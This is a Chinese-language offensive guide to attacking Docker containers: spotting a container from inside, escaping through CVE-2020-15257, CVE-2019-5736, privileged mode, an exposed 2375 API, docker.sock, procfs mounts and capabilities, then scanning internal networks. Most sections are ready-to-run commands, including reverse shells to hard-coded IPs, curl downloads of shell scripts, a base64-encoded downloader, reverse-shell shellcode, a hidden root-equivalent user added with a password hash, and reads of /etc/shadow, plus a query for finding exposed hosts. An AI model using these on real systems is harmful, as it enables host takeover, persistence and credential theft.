🦆Docker常见攻击方式

Docker安全基础

攻击模型

  • 应用攻击容器,常规漏洞打进来就是容器

  • 容器攻击其它容器,在容器中进行横向渗透

  • 容器攻击宿主机,这种属于逃逸

  • 主机攻击容器,本机、或其它主机

Control Group

命名空间用于隔离,那么控制组就是用于限额。

容器之间是互相隔离的,但却共享OS资源,比如CPU、RAM以及IO。CGroup允许用户设置限制,这样单个容器就不能占用主机的CPU、RAM等资源了。

Capability

以root身份运行容器不是很安全,root拥有全部的权限,因此很危险,如果以非root身份运行容器那么将处处受,所以需要一种技术,能选择容器运行所需的root用户权限。

在底层,Linux root由许多能力组成,包括以下几点:

  • CAP_CHOWN - 允许用户修改文件所有权

  • CAP_NET_BIND_SERVICE - 允许用户将socket绑定到系统端口号

  • CAP_SETUID - 允许用户提升进程优先级

  • CAP_SYS_BOOT - 允许用户重启系统

漏洞环境

研究漏洞时,我们经常会发现环境搭建会占用大量的时间,与之相比,真正测试PoC、 ExP的时间可能非常短,所以这里推荐这个项目用于平常练习:

https://github.com/Metarget/metarget

目前只支持:Ubuntu18.04

./metarget gadget install docker --version 18.03.1
./metarget gadget install k8s --version 1.16.5
 
#安装cve-2020-15257漏洞环境
./metarget cnv install cve-2020-15257
 
#启动漏洞环境
sudo docker run -it --net=host --name=15257 ubuntu /bin/bash
 
#安装privileged-container环境
./metarget cnv install privileged-container
 
#k8s启动进入容器
kubectl exec -it -n metarget privileged-container /bin/bash

识别容器

  • ls -alh /.dockerenv(较为常用)

/.dockerenv是所有容器中都会存在这个文件,这个文件曾是LCX用于环境变量加载到容器中,现在容器不再使用LCX所以内容为空,通过这种方式来识别当前环境是否在容器中。

  • cat /proc/1/cgroup |grep "docker"

为了限制容器的资源,Docker为每个容器创建了一个控制组以及一个名为docker的父控制组,如果某个进程在Docker容器中启动,则该进程将必须在该容器控制中,所以通过查看初始进程的cgroup来验证是否为容器。

  • ps aux

在容器中不会看到关于init或者systemd进程,而且查看进程相当的少

  • 程序缺失

Docker的镜像会尽可能的小,只保留一些必要的库,而一些像常用的命令都没有

像程序缺失造成无法继续其它操作时,先判断docker能否上网,如果能够上网就自行安装,像centos7使用yum,Ubuntu使用apt-get,alpine使用apk、Busybox

关于容器蜜罐

确实有部分蜜罐通过容器来构建,所以当拿下一个Shell时发现是容器,怀疑是蜜罐的话,可以通过这几个方面来确认:

  • mount #挂载目录情况

  • df -h #查看磁盘大小

所以就算是蜜罐,也会存在被逃逸。

小故事:在某次攻防演练中,某个同事通过Shiro拿到Shell交由内网的同事,但由于对容器等方面研究不够,看到内核为Alpine认为是蜜罐直接放弃。但靓仔的做事风格是,不能轻易相信别人说的话,所以亲自测试发现蜜罐可被逃逸可横向渗透。

Docker渗透工具

CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。

Docker逃逸

容器逃逸我总结为三个方面:

  • 容器自身漏洞

  • 配置不当:Capabilities、特权模式

  • Kernel Vulnerabilities

容器漏洞

CVE-2020-15257

containerd-shim是守护进程的作用,shim职责是保持所有STDIN和STDOUT流是开启状态

containerd-shim是运行容器的载体,每一个容器对应一个containerd-shim进程,其父进程为containerd

在Containerd 1.3.9版本之前和1.4.0~1.4.2,使用了--host网络模式,会造成containerd-shim API暴露,通过调用API功能实现逃逸。

此模式直接使用宿主机网卡和IP地址,导致容器与宿主机共享一套Network Namespace,使containerd-shim API暴露了出来。

Host模式特点:

  • 共享宿主机网络

  • 网络性能无损耗

  • 各容器网络无隔离

  • 网络资源无法分别统计

  • 端口管理困难

  • 不支持端口映射

安装漏洞环境

./metarget cnv install cve-2020-15257

启动漏洞环境

docker run -it --net=host --name=15257 ubuntu /bin/bash

判断是否使用host模式

cat /proc/net/unix | grep 'containerd-shim'

利用cdk工具自带exp逃逸,前提是需要出网,有webshell尽量用,没有使用此方法。

#公网机器开启NC
nc -lvp 999 < cdk
 
#容器运行写入
cat < /dev/tcp/(你的IP)/(端口) > cdk
chmod a+x cdk
 
#反弹宿主机的shell到远端服务器
./cdk_linux_amd64 run shim-pwn reverse 192.168.250.28 4455

注意:

如执行cdk反弹Shell出现如下错误:

rpc error: code = Unknown desc = OCI runtime create failed: exec: "runc": executable file not found in $PATH

解决:

ln -s /usr/sbin/runc /usr/sbin/docker-runc

CVE-2019-5736

runC漏洞,前提条件是需要docker exec、attach时才会触发漏洞

攻击者可以修改runc的二进制文件导致提权,需要管理员执行exec才能触发,条件有限。

版本漏洞:

Docker version <=18.09.2

RunC version <=1.0-rc6

下载bash脚本,安装漏洞环境:

安装Go

wget https://storage.googleapis.com/golang/go1.9.linux-amd64.tar.gz
tar xf go1.9.linux-amd64.tar.gz
mv go /usr/local
vim /etc/profile
export GOROOT=/usr/local/go
export GOPATH=$HOME/work
export PATH=$GOPATH/bin:$GOROOT/bin:$PATH
source  /etc/profile
go version
go env

下载POC

编译

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
将编译的main复制到docker容器中:
docker cp main name:/home
docker exec -it name bash
cd /home/
chmod 777 main
./main

此时等管理员进入容器将触发:

docker exec -it name /bin/bash

或者将POC中的获取/etc/shadow改为反弹Shell

改为反弹Shell,获得宿主机权限。

bash -i >& /dev/tcp/123.123.123.123/8080 0>& 1

Portainer后台(逃逸)

Portainer是一个可视化的容器镜像的图形管理工具,利用Portainer可以轻松构建,管理和维护Docker环境。 而且完全免费,基于容器化的安装方式,方便高效部署。

原理就是创建容器挂载宿主机目录,通过chroot切换Shell

后台没有默认帐号密码,当第一次登录系统会提示设置新密码。

进入容器中:

添加容器:

填写内容:

境像随便找一个,

重点是添加Volumes

挂载根目录:

之后部署:

部署成功后回到容器中:

进入到终端

在实战中往往创建一个容器启动不起来。

可以先进入Stacks进入到一个已启动的容器中:

从这里面挂载宿主根目录。

回到Containers中,进入终端

将/host目录设置为当前终端目录

chroot /host/ bash

配置不当

特权模式

当容器启动加上--privileged选项时,容器可以访问宿主机上磁盘设备。

#启动一个特权容器
sudo docker run --rm --privileged -it ubuntu:18.04 bash

判断容器是否特权启动

#查看磁盘,默认情况下容器执行fdisk -l是无法查看
fdisk -l
 
#查看CapEff值,特权值为:0000003fffffffff
cat /proc/self/status | grep CapEff
 
#容器中没有capsh命令可以在其它机器上执行查看
capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,35,36,37

挂载宿主机目录逃逸

#创建一个挂载目录
mkdir /tmp/hosts
 
#查看宿主机磁盘文件
fdisk -l
 
#挂载到创建的目录
mount /dev/sda1 /tmp/hosts/
cd /tmp/hosts/
 
#通过chroot切换bash
chroot ./ bash

实战场景:护网某银行上网设备

通过漏洞获取WebShell,查看根目录存在.dockerenv,可通过fdisk -l查看磁盘目录进行挂载目录逃逸:

#Webshell下操作
df -h
fdisk -l
mkdir /tmp/test
mount /dev/sda3 /tmp/test
chroot /tmp/test bash

本地追加添加用户,最后通过SSH进行远程连接:

#通过chroot切换bash添加用户
/usr/sbin/useradd -u 0 -o -g root -G root -d /home/ccided ccided -p
\$6\$RFindqMa\$hSOW1eOSD0FEPCoxUWBMd5KNYEuoz2b0MxuSSUBcv0PA0V1bee62f/1q0TGTnEhJpTghBdBBGNoOo1fRk1BWS/

2375端口利用

在最初版本安装Docker时默认会把2375端口对外开放,目前默认只允许本地访问。

#开启远程访问
vim /lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375
--containerd=/run/containerd/containerd.sock
#探测是否访问未授权访问
curl http://192.168.238.129:2375/info
docker -H tcp://192.168.3.17:2375 info
 
#如果能访问,推荐使用这种方式,操作方便,和本地操作无差
export DOCKER_HOST="tcp://192.168.238.129:2375" 

#Metasploit也有此模块
Search docker

关注2375、2376端口,他们的区别是2375端口:表示未加密,2376端口:表示加密通讯

实际案例:

FOFA:port="2375" && country="CN" && "Docker"

利用容器创建一个拥有特权并且挂载宿主机/根目录的容器

#连接
export DOCKER_HOST="tcp://192.168.238.129:2375"
 
#创建一个容器并具备特殊和挂载宿主机目录
docker run --rm -it --privileged --net=host -v /:/tmp/docker alpine
cd /tmp/docker
 
#通过chroot切换bash
chroot ./ bash
cat /etc/shadow

Docker Socket

寻找docker.sock文件,利用此文件与宿主机建立交互。

有一定机率存在但不常用,看运气。

#查找docker.sock
find / -name docker.sock 2>/dev/null
 
#连接
docker -H unix:///run/docker.sock info

一般情况下没有docker客户端,如果出网直接在线安装:apt-get install docker.io

不出网利用cdk中的模块,通过本地unix socket向docker API发起自定义HTTP请求。

./cdk ucurl get /var/run/docker.sock http://127.0.0.1/info ""

Procfs目录挂载逃逸

procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态

procfs中的/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式。从手册[1]中我们能获得关于内存转储的详细信息,关键信息如下:

从2.6.19内核版本开始,Linux支持在/proc/sys/kernel/core_pattern中使用新语法。如果该文件中的首个字符是管道符|,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。

环境准备:

#安装基础环境,安装过可以跳过
./metarget gadget install docker --version 18.03.1
./metarget gadget install k8s --version 1.16.5 --domestic

#安装
./metarget cnv install mount-host-procfs

#启动容器
kubectl exec -it -n metarget mount-host-procfs /bin/bash

场景较少
#判断是否procfs是否可以逃逸
./cdk_linux_amd64 evaluate --full
 
#查看挂载路径
mount
 
#判断是否出网
./cdk_linux_amd64 run mount-procfs /host-proc "touch /tmp/success_proc"
 
#先尝试直接反弹Shell
./cdk_linux_amd64 run mount-procfs /host-proc "bash -i >& /dev/tcp/192.168.250.28/4242 0>&1"
 
#不能直接反弹Shell,将反弹shell下载到目录下执行
./cdk_linux_amd64 run mount-procfs /host-proc "curl http://192.168.238.159:8080/reshell -o /tmp/shell"
 
#无wget、curl下载文件
./cdk_linux_amd64 run mount-procfs /host-proc "echo
Iwt94wEKcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwgIiR7MS8vIi8iLyB9IgpET0M9LyR7cGF0aC8vIC8vfQpIT1NUPSR7c2VydmVyLy86Kn0KUE9SVD0ke3NlcnZlci8vKjp9CltbIHgiJHtIT1NUfSIgPT0geCIke1BPUlR9IiBdXSAmJiBQT1JUPTgwCmV4ZWMgMzw+L2Rldi90Y3AvJHtIT1NUfS8kUE9SVAplY2hvIC1lbiAiR0VUICR7RE9DfSBIVFRQLzEuMFxyXG5Ib3N0OiAke0hPU1R9XHJcblxyXG4iID4mMwoKIy1yIE89IFwMCUz71khlYWRlcugGDDlNMFxyMVxi+9YKd2hpbGUgSUZTPSByZWFkIC1yIGxpbmUgOyBkbyAKICAgIFtbICIkbGluZSIgPT0gJCdccicgXV0gJiYgYnJlYWsKZG9uZSA8JjMKbnVsPSdcMCcKI/vWYm9keYSFuQp3aGlsZSBJRlM9IHJlYWQgLWQgJycgLXIgeCB8fCB7IG51bD0iIjsgWyAtbiAiJHgiIF07IH07IGRvIAogICAgcHJpbnRmICIlcyRudWwiICIkeCIKZG9uZSA8JjMKCiNz7ZP6CmV4ZWMgMz4mLQ== | base64 -d > /root/download"
 
#下载文件
./cdk_linux_amd64 run mount-procfs /host-proc "bash /root/download http://192.168.250.28:8000/reverse > /tmp/reverse"
 
./cdk_linux_386 run mount-procfs /host-proc "chmod +x /tmp/shell && nohup bash /tmp/shell&"

条件苛刻情况下,可以利用反弹Shell下载反弹Shell文件最后执行

Capabilities

Capabilities是Linux一种安全机制,是在Linux内核2.2之后引入的,主要作用权限更细粒度的控制。容器社区一直在努力将纵深防御、最小权限等理念和原则落地。

目前Docker已经将Capabilities黑名单机制改为了默认禁止所有Capabilities,再以白名单方式赋予容器运行所需的最小权限。

#查看Capabilities
cat /proc/self/status | grep CapEff
capsh --print

Evaluate: Commands and Capabilities

检测容器内可用的linux命令以及linux capabilities,其中常用的linux命令如apt/yum, curl, wget, nc, python等会方便后续渗透流程,此外capabilities可以用于判断容器是否为特权容器,某些敏感的capabilities入CAP_SYSADMIN, CAP_NETADMIN, CAP_PTRACE等也可用来进行容器逃逸。

CAP_SYS_ADMIN

漏洞环境:

docker run --rm -it --cap-add=CAP_SYS_ADMIN --security -opt apparmor=unconfined ubuntu /bin/bash 

设置后允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等

实际场景不多,逃逸方法参考挂载目录方式。

通过capsh查看:

capsh --print

容器目前是具备有管理功能,并且可以访问到宿主机上的磁盘

SYS_PTRACE

实际场景不多

拥有SYS_PTRACE权限可以通过进程注入达到逃逸

查找HTTP服务器的PID:ps -eaf

生成反弹shellcode

\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02 \x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x 0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x4 8\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05

进程注入程序:

https://0x00sec.org/t/linux-infecting-running-processes/1097

https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c

gcc inject.c -o inject
./inject 733
nc 172.17.0.1 5600

更多方式利用

HackTricks Linux Capabilities

Docker横向探测

  • 一般容器下 ping 、 vi 命令都没有,如果出网的情况下可以在线安装;

  • 使用 Go 编译出来的程序, fscan 、 httpx 等相关工具都能在容器上使用;

  • busybox 是静态编译的,不依赖于系统的动态链接库,集成了三百多个Linux常用命令的工具,将busybox上传到容器中就可以支持大部分linux命令。

    • 下载地址:

    • https://www.busybox.net/downloads/binaries/1.30.0-i686/busybox

  • 与传统内网渗透无差别,只是环境受限。

探测存活主机bash脚本:

#Bash,探测C段存活
mkdir -p /usr/tmp/
cat > ping.sh << EOF
#!/usr/bin/env bash
for ip in {1..254};do
    ./busybox ping -c1 -W1 10.244.0.\$ip|grep -q "ttl=" && echo "10.244.0.\$ip yes" >> /usr/tmp/.sys.log & >/dev/null 2>&1;
done
wait
EOF

#这样会把容器跑死,影响业务,要把wait去掉
cat > ping.sh << EOF
#!/usr/bin/env bash
for i in {1..254};do
    for j in {1..254};do
        ./busybox ping -c1 -W1 10.\$i.\$j.1|grep -q "ttl=" && echo "10.\$i.\$j.0/24 yes" >> /usr/tmp/.sys.log & >/dev/null 2>&1;
    done
done
wait
EOF

容器里面的网卡是不可信的,他只是k8s分配,还是需要探测10、172、192网段

Last updated